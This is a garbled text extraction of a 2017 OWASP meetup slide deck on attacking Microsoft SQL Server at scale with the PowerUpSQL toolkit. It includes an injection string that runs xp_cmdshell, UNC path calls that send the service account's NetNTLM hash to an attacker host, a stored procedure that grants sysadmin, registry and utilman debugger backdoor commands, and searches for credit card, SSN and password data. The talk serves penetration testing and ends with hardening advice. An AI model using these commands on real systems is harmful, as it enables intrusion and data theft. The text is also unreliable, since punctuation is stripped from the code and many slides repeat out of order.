trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 20: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

